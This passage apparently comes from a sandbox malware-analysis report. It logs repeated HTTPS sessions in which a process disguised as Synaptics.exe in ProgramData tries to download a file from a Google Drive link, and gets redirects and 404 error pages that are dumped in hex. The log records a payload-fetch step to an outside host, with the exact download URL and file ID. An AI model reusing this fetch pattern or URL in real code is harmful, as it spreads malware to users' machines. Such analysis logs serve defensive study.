31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="5PUruFDCARFYugVL6em9Tw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:16 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49808	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:17 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-UVTL1xlJOJtvQzkS9EmL_w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49809	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:17 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-nAqBhSywEq77XKq7akB54w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	49810	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:17 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:17 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:17 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-HJpuKtaKZtFzx2Y1qXxtLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nN_iM9sTuAWiLYuk3aOfQpOBrT8DMqu3v2icquWar8JJWwsWlgkOBj9QS-Q4KfoLsP8Iv0 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:17 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:17 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 4d 71 6a 78 68 37 50 41 42 55 62 68 48 2d 68 72 50 53 58 53 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="xMqjxh7PABUbhH-hrPSXSw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:17 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	49811	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:17 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:17 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:17 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-cLG4GRROW7VZxAPnhW_ApQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1642 X-GUploader-UploadID: AHxI1nMONxAJWrfTmbPA5XBhHtV5bTc8gs-qEN_vlKE_PG3k6_PG4c-vfbK1_3ubOE8PEBB4Dlk Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:17 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:17 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 53 67 51 50 59 44 76 67 4b 45 74 42 66 63 50 68 6c 33 67 71 32 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="SgQPYDvgKEtBfcPhl3gq2A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:17 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	49816	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:19 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:19 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-i_1IoDSj4774QYIXXa-bHw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	49817	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:19 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:19 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-GE2XfjG67_UJPutG69jy3A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.8	49823	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:20 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-NAx-23tnOlqKCMH1hF2Lzw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	49821	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:20 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:20 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:20 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-JWI_bPaLO8uj1QF5V91T8Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nP7royM9rX3-VUVlzJp_jF3cswHF7MgkfBqHF1Y7-5AfOmaH45xIgFHzRhqVlJaJH0y3Ys Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:20 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:20 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 51 6d 59 4a 4e 38 6e 44 4b 66 71 4b 77 49 54 4b 65 79 34 37 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="vQmYJN8nDKfqKwITKey47A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:20 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	49822	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:20 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-QrYxm9JQIauBCPffUHrbDA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, 